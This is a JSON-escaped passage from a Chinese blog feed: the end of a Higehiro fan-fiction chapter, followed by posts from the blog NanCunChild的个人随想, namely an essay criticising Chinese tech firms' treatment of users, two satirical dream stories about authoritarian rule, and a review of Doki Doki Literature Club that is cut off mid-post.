/\u003e\n\u003cp\u003e尽管已经两年没有来过,莎优却还是记得这条吉田上下班的必经之路。\u003c/p\u003e\n\n\n\n\u003cp\u003e两年前,每当做好饭的时候,莎优就会站在窗前,等着路灯下某个身影的出现。\u003c/p\u003e\n\n\n\n\u003cp\u003e每当这个身影出现的时候,她就会觉得很安心。\u003c/p\u003e\n\n\n\n\u003cp\u003e现在,他就在自己的身边。\u003c/p\u003e\n\n\n\n\u003cp\u003e陪着下班的吉田一起回家这件事,尽管之前也想做过,但是却被当成不辞而别害得吉田到处找,让吉田很担心。\u003c/p\u003e\n\n\n\n\u003cp\u003e想到这里,莎优的脑海里又浮现起了那时吉田找到自己时涨得通红的脸,那种担心而大汗淋漓的表情……不知道为什么,她觉得有些心酸,却又有些高兴。\u003c/p\u003e\n\n\n\n\u003cp\u003e不自觉地,她挽起了吉田的胳膊,夹得紧紧的,像是怕他溜走一样。\u003c/p\u003e\n\n\n\n\u003cp\u003e“怎么了?怎么突然……”\u003c/p\u003e\n\n\n\n\u003cp\u003e吉田有些不好意思,自己的胳膊已经能感受到莎优的体温,以及她柔软而富有弹性的身体的一部分。\u003c/p\u003e\n\n\n\n\u003cp\u003e“没什么,只是觉得,这是第一次陪着吉田先生下班回家呢……”\u003c/p\u003e\n\n\n\n\u003cp\u003e说着说着,莎优看到了吉田脸上的胡须。\u003c/p\u003e\n\n\n\n\u003cp\u003e“你还说你不是大叔,嘿嘿,胡子都这么长了,该剃须了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e吉田也忘了上次剃须是在一个月前还是半个月前了。\u003c/p\u003e\n\n\n\n\u003cp\u003e总之他剃胡须最频繁的一段时间就是莎优还在的时候,为了不被说成大叔,他坚持着每天都刮掉自己的胡须。莎优走了之后,他又变成了老样子。\u003c/p\u003e\n\n\n\n\u003cp\u003e看来自己又要变回那个“年轻”的自己了。\u003c/p\u003e\n\n\n\n\u003cp\u003e想着想着,就来到了熟悉的地方。\u003c/p\u003e\n\n\n\n\u003cp\u003e吉田打开房门。\u003c/p\u003e\n\n\n\n\u003cp\u003e“因为自己一个人住……”\u003c/p\u003e\n\n\n\n\u003cp\u003e他刚想说,因为自己一个人住,所以会比较乱。\u003c/p\u003e\n\n\n\n\u003cp\u003e换做是以前的他,实际情况还真的是这样。\u003c/p\u003e\n\n\n\n\u003cp\u003e但是,莎优走了以后他自己也开始学着做家务了。\u003c/p\u003e\n\n\n\n\u003cp\u003e他自己也不知道是为什么自己会突然开始做起家务。\u003c/p\u003e\n\n\n\n\u003cp\u003e或许,他是在家务劳动里寻找莎优的影子吧。\u003c/p\u003e\n\n\n\n\u003cp\u003e“因为自己一个人住,所以会比较喜欢收拾……”\u003c/p\u003e\n\n\n\n\u003cp\u003e“跟我第一次来的时候很不一样嘛,吉田……没想到你会自己做家务了……”\u003c/p\u003e\n\n\n\n\u003cp\u003e“其实不是之前不会做……”\u003c/p\u003e\n\n\n\n\u003cp\u003e“那是因为?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“尽管现在是我在自己做家务没错,但是我的休息时间也因为做家务变少了……换做是以前的我,说不定早就坚持不下来了……但是你来了之后,可能是我习惯了住干净整洁的房间了吧,就开始每天自己整理了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e就连吉田自己也没注意到,房间的摆布,跟两年前莎优走的时候一模一样,甚至摆在地上的床垫还在那里放着。\u003c/p\u003e\n\n\n\n\u003cp\u003e“对了,你的床单和被褥我也有帮你清洗啊……定期的。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“两年了,吉田先生变了好多……也有好多没变的地方。”\u003c/p\u003e\n\n\n\n\u003cp\u003e看向刚刚脱下鞋子就在卫生间里剃须的吉田先生,少女脸上露出来欣慰的笑容。\u003c/p\u003e\n\n\n\n\u003cp\u003e“不过,既然我又回来了的话,相信家里会更干净吧。”\u003c/p\u003e\n\n\n\n\u003cp\u003e这次,吉田还没有要求自己做家务,莎优就已经承包了所有的家务。\u003c/p\u003e\n\n\n\n\u003cp\u003e以及……\u003c/p\u003e\n\n\n\n\u003cp\u003e“话说回来,吉田,今晚还没吃饭吧,想吃些什么?”\u003c/p\u003e\n\n\n\n\u003cp\u003e莎优的目光停留在桌子上的那本自己为吉田编写的食谱。\u003c/p\u003e\n\n\n\n\u003cp\u003e两年过去了,它还是那么崭新。好像是在等着自己回来一样。\u003c/p\u003e\n\n\n\n\u003cp\u003e“那就味噌汤吧……”\u003c/p\u003e\n\n\n\n\u003cp\u003e其实吉田先生的心里,还有另外一句话,两年以来,他按照莎优的食谱做了很多次味噌汤,都不好喝。\u003c/p\u003e\n\n\n\n\u003cp\u003e“毕竟,你这家伙做的味噌汤,是真的很好喝呢。”\u003c/p\u003e\n\n\n\n\u003cp\u003e随后,厨房里响起了叮叮当当的声音。\u003c/p\u003e\n\n\n\n\u003cp\u003e莎优打开冰箱,发现食材是齐全的。\u003c/p\u003e\n\n\n\n\u003cp\u003e也就意味着大叔他平常真的是照着自己的菜谱做饭的。\u003c/p\u003e\n\n\n\n\u003cp\u003e莎优感受到了一种得意和安心。\u003c/p\u003e\n\n\n\n\u003cp\u003e无数次,她在梦里回想起吉田先生尝到自己做的饭时的笑容。\u003c/p\u003e\n\n\n\n\u003cp\u003e醒来之后,却只有一张空荡荡的大床。\u003c/p\u003e\n\n\n\n\u003cp\u003e以及天气日报提醒自己在北海道。\u003c/p\u003e\n\n\n\n\u003cp\u003e“呲溜……”\u003c/p\u003e\n\n\n\n\u003cp\u003e吉田深深地抿了一口。\u003c/p\u003e\n\n\n\n\u003cp\u003e“汤好喝吗,吉田?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“还是老味道。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“欸?”\u003c/p\u003e\n\n\n\n\u003cp\u003e少女稍微有些讶异。\u003c/p\u003e\n\n\n\n\u003cp\u003e“亏我还好好地改进了……”\u003c/p\u003e\n\n\n\n\u003cp\u003e“不,不是这样的,我是说很好喝,咳咳……”\u003c/p\u003e\n\n\n\n\u003cp\u003e忙着解释的吉田呛了一口汤。\u003c/p\u003e\n\n\n\n\u003cp\u003e少女赶忙起来,到了吉田的身后,用手轻轻地拍打着他的后背。\u003c/p\u003e\n\n\n\n\u003cp\u003e对吉田来说,可能是他很久没喝过莎优做的味噌汤了,又或者是味噌汤太好喝了,改进的空间不大,他才会尝不出来区别。但是对于遗忘这件事,吉田不愿意承认这一点。\u003c/p\u003e\n\n\n\n\u003cp\u003e“或许是太久没喝你做的汤了……话说回来,你做的汤是真的很好喝,也许是好喝到了没有改进空间了呢。”\u003c/p\u003e\n\n\n\n\u003cp\u003e吉田把喝得空空的碗放在桌子上,突然,他感觉自己的后背一热,肩膀一沉,一股柑橘味的香气从脑后传过来。\u003c/p\u003e\n\n\n\n\u003cp\u003e莎优从后背抱住了吉田,脸颊紧紧地贴住了吉田的脸颊,甚至故意蹭了两下。\u003c/p\u003e\n\n\n\n\u003cp\u003e“大叔,如果你愿意,之后每天都能喝到哦。”\u003c/p\u003e\n\n\n\n\u003cp\u003e吉田虽然有些害羞,但是这个抱抱却让他感到十分的安心。\u003c/p\u003e\n\n\n\n\u003cp\u003e对吉田来说的,这是区别梦境与现实的方式之一。\u003c/p\u003e\n\n\n\n\u003cp\u003e无数次在梦里被她拥抱,醒来却只剩下冰凉。\u003c/p\u003e\n\n\n\n\u003cp\u003e独身一人看向那张空空的床垫。\u003c/p\u003e\n\n\n\n\u003cp\u003e他等着她回来。\u003c/p\u003e\n\n\n\n\u003cp\u003e她回来了。\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n","url":"https://raay.xyz/99"}]},{"name":"NanCunChild的个人随想","email":"Unknown","uri":"https://nancunchild.cn/","description":"","article":[{"title":"名声不重要,用户不重要","time":"2024-09-10T13:17:28Z","content":"\u003cp\u003e名声不重要,用户不重要。不是天然如此,只是数千年,他们都在鞭笞,我们都在妥协罢了。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/09/10/is_ruputation_important/\"\u003e名声不重要,用户不重要\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n\u003chr /\u003e\u003ch2\u003e名声重要吗\u003c/h2\u003e\n\u003cp\u003e大伙吐槽百度网盘的限速下载,P2P下载器的流氓行为,360的清理垃圾,微信的庞大体积等国产互联网毛病也不是一天两天了。甚至于P2P下载器还被315报道批评过。但是为什么他们都不在乎“名声”,反而避开一时风头后变本加厉呢?\u003c/p\u003e\n\u003cp\u003e首先出现的就是第一个问题,对于国内用户,名声真的重要吗?\u003cbr /\u003e\n名声的本来作用是吸引客户,规避法律风险。但是这在中国,垄断形成,用户不在乎隐私,国家缺乏相关立法等情况下,名声根本不重要。\u003cbr /\u003e\n中国用户对于隐私的妥协性,以及由于社会文化而不敢持续斗争和集体出来声讨的软弱性,注定了大厂可以在法律律的边缘游走,来不断的欺压普通用户。微信等软件多次出现扫盘的黑历史,拼多多使用漏洞窃取用户隐私,百度和夸克网盘都在占领市场获得资源份额后限制下载速度。虽然这些行为有些值得被声讨甚至部分行为触犯法律,但是它带来的利益和在市场上的优势是无与伦比的。而失败有可能产生的风险相比起来过于无足轻重。甚至中国法律本身就是具有相对的灵活性的“贵族法律”(论寡头政治的利弊)。单说拼多多事件,法律灵活到以至于各个专家都在批评拼多多的行为时,法律却没有站出来主持公道要求赔偿。用户也没有集体站出来坚持维权到底。风浪平息后,人们依旧在使用拼多多,甚至市场份额越来越大。甚至能跑到海外开店变成temu继续圈钱。\u003c/p\u003e\n\u003cp\u003e这些做法实际上就是明白地告诉用户“资本的目的是你的钱,而不是你”。似乎是用轻蔑和无言告诉我,我只是“用户”而不是“客户”。我的声音不可能盖过他们的扩音喇叭。但是这种事情后,大家的冷漠和不在乎更为致命,而且一个简单的赔偿30元代金券或者618活动就可以让大家忘记这件事情,重新进入狂欢。\u003c/p\u003e\n\u003cp\u003e其实在国家缺乏立法,用户没有意识以外,更深层的文化原因也是祸首。或者不如说根本原因便是它。\u003c/p\u003e\n\u003ch2\u003e下人重要吗\u003c/h2\u003e\n\u003cp\u003e即便用户有某种需求,而这点和垄断商家利益冲突而无法实现时,用户真的会集体站出来抗议,走法律程序吗?之所以陈云说中国人方便管理,是因为我们总是抱着“多一事不如少一事”的态度;害怕麻烦;害怕无意中得罪人;不想去担心除自己以外的人,特别是这种事情是大环境引起时。\u003cbr /\u003e\n我们一步步在冷漠和绥靖中养大了身上的吸血虫,以至于我们每拖一段时间,就越不可能将其拿下来。\u003cbr /\u003e\n“自己都管不好,怎么要去管这些事”\u003cbr /\u003e\n“饭都吃饱了,还管这些事干嘛”\u003cbr /\u003e\n“不要心胸这么狭隘,少得罪人”\u003cbr /\u003e\n这些话,已经听过许多不同的人说过很多遍了。但是最终我们沦落到了管不好被别人肆意践踏的自己,由于别人随意压榨而吃不饱饭,心胸宽大到别人滥用我们的善意(冷漠)的境况。\u003cbr /\u003e\n团结起来和强权斗争,这对中国人来说是不可能的事。而且这种近代还有些许的精神也在如今社会中被慢慢消磨。\u003c/p\u003e\n\u003cp\u003e在这些强权霸凌弱者的事件中,为何法律如此冷漠?虽然我们的精英政治注定了无权无势的小民注定无法碰瓷强权这座大山,跨越阶级的官司在开庭时就已经注定了结局。但是我们为了明面上的一点平等,为了后续社会的健康发展,也理应对太过分的事情予以平衡。然而每次宣传的侵犯公民个人隐私是犯罪只限于一些放木马的小团伙,拿他们来开刀借以说明我们法律的有效性;而到了民族资本家强权这里就因为担心影响、保证税收或者是简单的上面“关系”就完全熄火了,一点悬念都没有。\u003cbr /\u003e\n我们的法律从形式上学着西方,实际上从立法到执法却都适配着中国人的软弱和冷漠,对儒雅中国人的软肋进行拿捏,可以说中国几千年的智慧全在研究这上面了。从明确的立法到大条的执法,中间故意留下了大量的操作空间,从而导致了十年前就在谈论的名言“严格立法,选择执法”;“同阶级讲法律,跨阶级讲地位”。\u003c/p\u003e\n\u003cp\u003e如今强权霸凌还在扩张地盘,慢慢地从用户身上榨出一滴滴油水。而我们仍然选择了数千年中国人一直选择的路:忍着。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/09/10/is_ruputation_important/\"\u003e名声不重要,用户不重要\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n","url":"https://nancunchild.cn/2024/09/10/is_ruputation_important/"},{"title":"异梦杂谈(二)","time":"2024-09-09T09:21:21Z","content":"\u003cp\u003e成为了占星师,却无力改变一些事实\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/09/09/strange_dream_2/\"\u003e异梦杂谈(二)\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n\u003chr /\u003e\u003ch2\u003e入梦\u003c/h2\u003e\n\u003cp\u003e我是一位占星师,在旅途中为他人观察天象,占卜命运,以此获得一些报酬来支付旅途上的开销。我不为寻找什么东西,只是想在旅途中增长见闻。\u003cbr /\u003e\n我前往了一个国家,据说这个国家过去是学者喜欢演讲的自由交流之地,但是现在却使学者不敢靠近,国家也越发荒败,人们出逃了不少。出于好奇,我来到了这个夹在几个大城镇中的荒败小城,准备看看究竟发生了什么。\u003cbr /\u003e\n看到远远的一座石城,我知道我快到了。一旁的老农看到我身穿代表占星师的紫色长袍,叹了一口气,似乎在感叹些什么。我迟疑了一下,但是还是没有去问问。\u003cbr /\u003e\n慢慢走到了城门口,两旁站岗的士兵仔细盘查了我的身份和占星用品,给我指路:“伟大的DZ国王战无不胜,我们要始终坚持贯彻DZ国王的战略方针。。。你要去的学院在前面,离这里6B百米。”。我怀着疑问道了谢,向学院走去。路上的百姓似乎都在对我指指点点,似乎很久没看到外来的占星师了,况且我穿着南方的学者制服,显得更为扎眼。\u003cbr /\u003e\n我到了学院门口,遇到了外人拦住我,是我在其它哪个国家的学院都没看到过的黑色服装,上面还有皇家的徽章。\u003cbr /\u003e\n“要坚决贯彻伟大的DZ国王的领导,邀请函有吗?”那人拿着一个小本子,打了个哈欠。\u003cbr /\u003e\n我马上就意识到了这是什么,连忙答道有,拿出一小块金锭塞到他手里。他四下看了看,发现附近的人只有在办公室认真看报纸的同事后,快速地塞进了口袋。悄悄和我说:“你是外国人,原则上要签保证书和办临时良民证的,不过这次看你挺晓事,就只用一个人陪着就行。”,随后大声说道:“伟大的DZ国王指示我们要保证官员的纯洁性,要按照规定办事。。。有邀请函和证件就好办啦,给你安排个审查员吧”。随后进门口的办公室拽出一个臂袖上别着特殊纹章的年轻学者到我旁边,便进办公室去了。\u003cbr /\u003e\n我站在原地,和他面面相觑,他刚一开口,我就知道开头几个字:“伟大的DZ国王。。。”。在一顿冗长废话过后,我终于在他的指引下进入了一个教室听教授讲课。审查员紧挨着坐在我旁边,让我感觉不太自在。\u003cbr /\u003e\n上课的是一名胡子花白的老教授,内容就是念书,让人昏昏欲睡,坐了一会便起身离开换教室听。还好找到了一个讲星象的新老师,老师明显有些紧张,看到检查员时都有些不能流利的地说话了。但是他似乎对星象很痴迷,一会就进入了状态,开始用陶醉的神情说着星象的运动。\u003cbr /\u003e\n“星象是最宏大的,人类在它面前显得如此渺小。它左右和预测着人们的各种行为,可以说星象是最伟大的。。。”\u003cbr /\u003e\n我身边的检查员突然站起来,拍了一下桌子,把这位新老师眼睛吓大了。检查员拿出来一个小本子,说道:“胡说,最伟大这个词只有对DZ国王才能使用!XXX啊XXX,我早就说过这个学科需要有政治性,不能借用学科的名头搞这种颠覆!还有你刚刚那段时间提到了十几次那个数字,你事后来审查委员会接受教育!”。\u003cbr /\u003e\n我惊呆了,一下什么也没听懂。不过那老师却一下瘫在讲台边,唯唯诺诺地小声说是。一直没有站起来讲课了。教室里面的学者却似乎不太惊讶,默默拿出了天文星象书本开始自习。下课之后,那位审查员拽着那位新老师出了门。\u003cbr /\u003e\n等检查员走了之后,我前面的一位学者看我是外国人,开始和我攀谈起来。和我细细讲了这个国家变成这样的原委。\u003c/p\u003e\n\u003cp\u003e有一个王子诞生,有占卜师预言他的未来和国家会和数字7有关,整个国家可能会毁在这个数字上面,他的生命也会因为它而终结。老国王不屑一顾,但是他却非常害怕和担忧。于是便叫宫里人禁止谈论数字7,但是这个不祥的数字仍然不时出现,鸣钟的时间点,财务大臣的报告,御用教师发给他的课本等等。而且宫外,这个不祥的数字似乎在时时刻刻想侵入进来攻击他。\u003cbr /\u003e\n过了几年,他终于继承了王位,做的第一件事便是颁布禁7法。他宣布群众需要改变以前的习惯,数字七不能再被叫做七,而需要用其他的东西来代替。一开始,群众屡屡忘记,特别是其中的学者。结果人们仍然无视法律,继续使用这个数字。在市场上仍然标价7元,教室里仍然写着7,人们仍然在谈论7。\u003cbr /\u003e\n看着法令被大家无视,国王便设立专门的监察委员会,派出监察组成员前往国家各地,特别是会用到数字的菜市场和大学等地方。对于不尊重这个法令的人给予严厉的惩罚,学者遭到吊销学位,摊位老板被砸摊,工程负责人员被开除。\u003cbr /\u003e\n在杀死几个无辜的群众和激愤的知识分子后。大多数民众开始无奈地慢慢接受这个奇怪的规定,对于这个法令的无视慢慢转变成了愤懑,关于国王和无赖法令的坏话变多了。同时监察委员会的权力随着惩罚力度的加大不断地膨胀。为了抓住继续无视和暗中反对这条法令的人,监察委员会可以直接跳过司法程序抓百姓,无视内部规定惩办官员。按照国王的话来说就是“特殊状况使用特殊办法”\u003cbr /\u003e\n过了几年,学院里面每一篇论文的发表,每一堂课教案的准备都要经过监察委员会的批准。菜市场里面标注价格等行为,都需要通过良民证注册,拿到价格标注许可证,保证不会出现违规数字七。民众在平时的生活中还是不可避免的要用到这个数字,于是便使用了6E,6B,拐,思文(英文名也被禁止了),文等等。\u003cbr /\u003e\n由于监察委员会发现失去了可以逮捕的人,国王也渐渐失去兴趣时,便扩大了抓捕范围。对于这条法令有不满的,不尊重国王的,蔑视委员会的。。。监狱里面的人又多起来了。\u003cbr /\u003e\n街上歌颂国王的海报多了起来,学院里面的国内政治课也常常满人(监委会宣布政治成为必修,来矫正不正确的思想),人们讲话也以国王语录开头。\u003cbr /\u003e\n但是监狱里面的人多了起来,人们边歌颂着国王一边逃向了邻国,学者一边说着国王的领导大于一切一边到了国外留学。这里慢慢变成了这副模样。监察委员会变成了这个国家最大的势力,年轻人的志向基本都是做上这里面的差事。\u003c/p\u003e\n\u003cp\u003e“这一切就是因为那个7?”我一下愣住了。\u003cbr /\u003e\n“嘘!是6+1!不过没错,确实是那样。”\u003cbr /\u003e\n我眼神发着愣,慢慢地把东西收进包。走了出去,出了学院,出了城门。但心里久久不能释怀。\u003c/p\u003e\n\u003ch2\u003e梦醒时分\u003c/h2\u003e\n\u003cp\u003e闹钟响了,我睁开眼睛,8点了。想着还好我的现实里面没有6+1。不过等等,真的没有吗?感觉思考着好累,我又睡去了。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/09/09/strange_dream_2/\"\u003e异梦杂谈(二)\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n","url":"https://nancunchild.cn/2024/09/09/strange_dream_2/"},{"title":"异梦杂谈(一)","time":"2024-07-22T17:57:41Z","content":"\u003cp\u003e只是做了一个当皇帝的梦罢了\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/23/strange_dream_1/\"\u003e异梦杂谈(一)\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n\u003chr /\u003e\u003ch3\u003e入梦\u003c/h3\u003e\n\u003cp\u003e我是皇帝,一位大臣和我夜谈。\u003cbr /\u003e\n我优雅的用袖子拂去绣金坐垫上不存在的灰尘,然后缓慢而不失贵族风范地坐下。大臣脸上却是失望而疲惫的神色,也不动声色地坐下了。这一幕让我觉得我是佯装贵族的穷小子,而他是有精神贵族君子风范的读书人。\u003cbr /\u003e\n“皇上,我们当初打天下时都是穷苦农家出身。苦于官府苛税,又值岁旱民饥,揭竿而起。您日后身登大宝,卑臣得入庙堂。这些您是知道的。”\u003cbr /\u003e\n我不耐烦地回忆了一下小时候的事,只是允许记忆浮现一小会便让我感到不舒服。以前的事情像是另一个人经历的,而我只是一个旁观者一般。初得京城,一个人深夜时总会把白天的奏折放在一边,想起以前的事。此时感觉我身边的富贵如同泡影一般抓不住,它们暂时存在,但是就像掌中的一抔沙或者一鞠水,总是会流走。不真实是存在的,恐惧也是存在的。因此我尽量不想去回忆这些,只用关心享不尽荣华富贵的当下。所以慢慢地半夜思考的内容变成了今夜让哪个嫔妃侍寝,白天哪个大臣眼神不对劲等等。他突然这么一说,我不想回忆的事情又再次出现了。\u003cbr /\u003e\n我哼了一声,表示听到了。\u003cbr /\u003e\n大臣也不敢有其他动作,只是用不变的语调继续说着:“您当时说着要体恤百姓,抚慰万民。行尧舜之道,践贤君之行。今日之举,臣恐。。。”\u003cbr /\u003e\n我将原先盯着煤盆的目光转向他,他不由自主把话慢了下来,最终停下话头,眼神中带着一点惶恐地等着我的意思。\u003cbr /\u003e\n“湛乐饮酒,或经营四方。我做什么,也轮不到底下人计较。他们有点不满也得憋着。”我毫不在意\u003cbr /\u003e\n大臣低着头,我猜他这个文化人肚子里有一堆墨水要吐出来,现在正在筛选哪些吐出来不会让我撕破脸皮搬了他的脑袋。\u003cbr /\u003e\n“舟所以比人君。。。”我开了口,看到了他以为我想通了的有点开心的眼神,想说完后批判一下让他快点死心,无奈没有什么文化,后面的想不起来了。索性嘟哝了过去后说了“水能载舟,亦能覆舟”。\u003cbr /\u003e\n“但是,这个只是在说刁民连起来造反时能打翻小船。良民都是跪在制度下面的。平时能让他们吃饱就不敢豁出命来,他们这些愚民太好管了。”我说出“愚民”时,又想到之前的事情,有点不自在。而且觉得大臣是不是会在心里觉得我因人之力而蔽之,不太像皇族风范。但是他仍然呆立不动。\u003cbr /\u003e\n“身登太极后,我与他们便不同了。他们便应当缴上税,供我差使。我的娱乐,我的宫殿,也应当他们上缴珍宝税款以支撑。为何要为百姓着想?为了百姓,自己受苦,那是只有传说时代才会有的事。人生在世,应当享乐,百姓受苦,只要不至于造反,便无大碍。”\u003cbr /\u003e\n所谓为天地立心之类不过是自我感动,让读书人看了热血沸腾的一些话罢了。到了庙堂,哪去管边地的事?百姓是最好欺负的,就应该拿走所有的,只够温饱,之后再慢慢返还,同时告诉他们应当感恩。这样刁民才会懂我管理社稷的辛苦。\u003cbr /\u003e\n大臣低着头,久久说不出话来。\u003cbr /\u003e\n数十年后,我的牌匾进了太庙。我的意识看到百姓叨念着我管理期间生活改善了,我的恩泽如春雨福泽八方。史官的一些卷子也被我刮了,最终留下了一个人人赞颂的形象。至于判官之类,我也是没有见到,这些当然是无权无势的人臆想出来想要凌驾于权势来玩公平的。\u003c/p\u003e\n\u003ch3\u003e梦醒\u003c/h3\u003e\n\u003cp\u003e梦醒了,早晨8点多。刷了刷手机,看了看民众说着将军的恩情还不完之类;又看了看我所待的地方,放下手机,重新躺在枕头上。“起猛了,再睡一会”,我喃喃自语着,又睡了过去\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/23/strange_dream_1/\"\u003e异梦杂谈(一)\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n","url":"https://nancunchild.cn/2024/07/23/strange_dream_1/"},{"title":"玩DDLC有感","time":"2024-07-16T17:12:19Z","content":"\u003cp\u003e一周前游玩了一下心跳文学部(doki-doki literature club),惊叹于其中人物的刻画和情感把握,抱着颇有感触的心情写一写游玩感受。同时向大家强烈推荐DDLC这款游戏,希望大家都能寻求出自己的理解。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/17/feeling_of_playing_ddlc/\"\u003e玩DDLC有感\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n\u003chr /\u003e\u003cp\u003e一周前玩了一下心跳文学部(Doki-Doki Literature Club),发现这个偏恐怖向GelGame里面的人物和表达的观点都有触动我的地方。\u003c/p\u003e\n\u003ch3\u003e游戏简介\u003c/h3\u003e\n\u003cp\u003e先简单给没玩过的同学介绍一下这个游戏吧,游戏中四个女角色的名字分别为纱世里(Sayori),优里(Yuri),夏树(Natsuki)和莫妮卡(Monika)。你加入文学部后和文学部里面四个女生之间聊来聊去,写诗讨论文学等等。作为一个男性向GalGame肯定四个女生都喜欢你,莫妮卡直接吃醋,把另外三个女生的游戏代码给删了。最后在整个坏掉的游戏世界里面只有你和她,你就只能面对她听他说话了,达成病娇的天堂。这个游戏恐怖的地方是在于莫利卡破坏其他三个女生的代码时,三个女生频繁出现抑郁,自残,自杀的情况。本来温馨正常的gal game气氛突然变成恐怖游戏的感觉。至于更多角色文件的彩蛋,就看一下fandom吧,我这里暂时不提了。\u003c/p\u003e\n\u003ch3\u003e评价要点\u003c/h3\u003e\n\u003cp\u003e首先我想说的就是文案写的真的非常细腻,对人们写诗时内心的波动把握的非常到位。我们现实中都不想让别人看我们写的日记,特别是自己写的诗。按照文学部夏树的话来说“听起来就很蠢,你们不会喜欢的”。日记是真实内心的直接体现,是我们卸下一切伪装和防备对日记倾诉的内容。此时我无需考虑别人的眼光,而是去探索自己真正喜欢什么,想要什么。而当这些直接面对别人时,又会开始担心别人的目光:“这样做好蠢”,“这样显得我好玻璃心”,等等。面对的要是不是真正信赖的朋友,这等于直接告诉他“你这样做会让我从内心深处感到XXX”,如果对方根本不理解或者不关心你,开玩笑般用触动你内心的话伤害你,这样做相当于卸下所有防具被狠捅一刀,真实伤害,难以治疗。\u003c/p\u003e\n\u003cp\u003e(从代码的角度来说就是私有API直接暴露给了恶意攻击者(不好意思专业病犯了))\u003c/p\u003e\n\u003cp\u003e在实际交往中,我们总是有着一副伪装,甚至我们自己有可能都未察觉。我们尽力地做出自己的人设,做着希望被肯定的事情,关心着别人可能不屑一顾的东西。我们自己尽力经营的社会形象下还是一个脆弱敏感的人,即便大家都尽力否认,但只有人将弱点藏的很深而不能完全摆脱。\u003c/p\u003e\n\u003cp\u003e这些情感波动都是极其细腻的,ddlc中的女角色展示各自的诗时就能看出她们各自的性格,也能窥见她们内心深处的情感。\u003c/p\u003e\n\u003ch4\u003eSayori\u003c/h4\u003e\n\u003cp\u003eSayori阳光可爱,是有点呆的开朗女生形象。写的诗作也能展示出这一点。属于阳光,欢笑等的词汇都是关卡里面的Sayori加分项。但是诡异的是自杀等完全相反的词汇也属于她的加分项。当时我游玩时感到不寒而栗,因为对话中完全无法发觉出来。但是我读到Sayori的诗中另一层韵味,以及看到后期的剧情时一切便承接了起来。Sayori有严重的抑郁症,在很多天早晨都找不到面对这个世界的理由,只有男主是她所爱的人,能给她精神支柱。但是男主不应该和自己这样脆弱的人在一起,男主的幸福只能由其他人给予。这两种情感的折磨下,Sayori上吊自杀了。选择的是最为痛苦的窒息方式,而不是绞刑似的扯断脖子的形式。两种极端的词汇,只是她内心情感两种想法的体现。\u003c/p\u003e\n\u003ch4\u003eYuri\u003c/h4\u003e\n\u003cp\u003e还有便是Yuri。性格的一方面属于标准的文艺女,所有的词汇都偏向深沉和冗长。与其说她是伪装成知识渊博的样子,不如说她的知识溢出后自然形成了这些词汇。这种冗长的词汇能表现出情感的深沉和多层次。她也坚持认为只有这些词汇才能正确表达她的感情。情感的另一方面便是迷恋性人格,对待情感的低回避,高焦虑。在她的变态性格被Monika放大后,出现很多惊人之语:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“我经常会偷你的笔,一边读你的诗作一边自慰”\u003cbr /\u003e\n“我期望能将我的皮肤划开,让你的血液和皮脂渗入我的体内”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e我游玩时的第一个词语是下头女(对不起),第二个词语是病娇。但是转念一想,这种出现在迷恋型人格身上倒是正常。爱到痴迷,对他的一切都产生了爱屋及乌的迷恋,每次靠近他的物品都感觉离他近了一步。难怪说爱是一种症状较轻的病,严重时便是极端痴迷。\u003c/p\u003e\n\u003cp\u003e最后Yuri选择了最适合她性格的死法:使用一把名贵的刀将自己连捅三刀,失血而死(动画组表示过了,CG中拿着普通刀是失误)。死在华丽下,为了极端的痴迷死亡。\u003c/p\u003e\n\u003ch4\u003eMonika (Just Monika!)\u003c/h4\u003e\n\u003cp\u003eMonika,一切的“罪魁祸首”,也不能说完全是“坏”的。她后面抱怨着提到 “你宁愿和虚拟的女孩待在一起,也不愿意多单独陪伴我一段时间。”时,我想着也确实如此。但是这一切都是谁的错呢?是这个残酷的游戏吗?后面我才意识到,是主角“我”对细微情感的忽视,对她们内心细腻情感流动的视而不见,事实上只在乎自己的身边有没有女生陪伴。能改变这一切的不是操作代码的Monika,也不是女孩们的自我挣扎,而是我的关心和细腻情感的共情。\u003c/p\u003e\n\u003ch3\u003eSome Endings\u003c/h3\u003e\n\u003cp\u003e游戏有HappyEnd,但是极难打出来。普通玩家都是会在第一次打出常规的BadEnd,所有女孩都暴露性格中的阴暗面,最终会全部死亡。而HappyEnd需要在每个女孩死亡前将所有女孩的结局打出来。之后才会触发,但是我看着结局,质疑这个是否是HappyEnd呢?这个就见仁见智了。\u003c/p\u003e\n\u003ch3\u003ePromotion (By 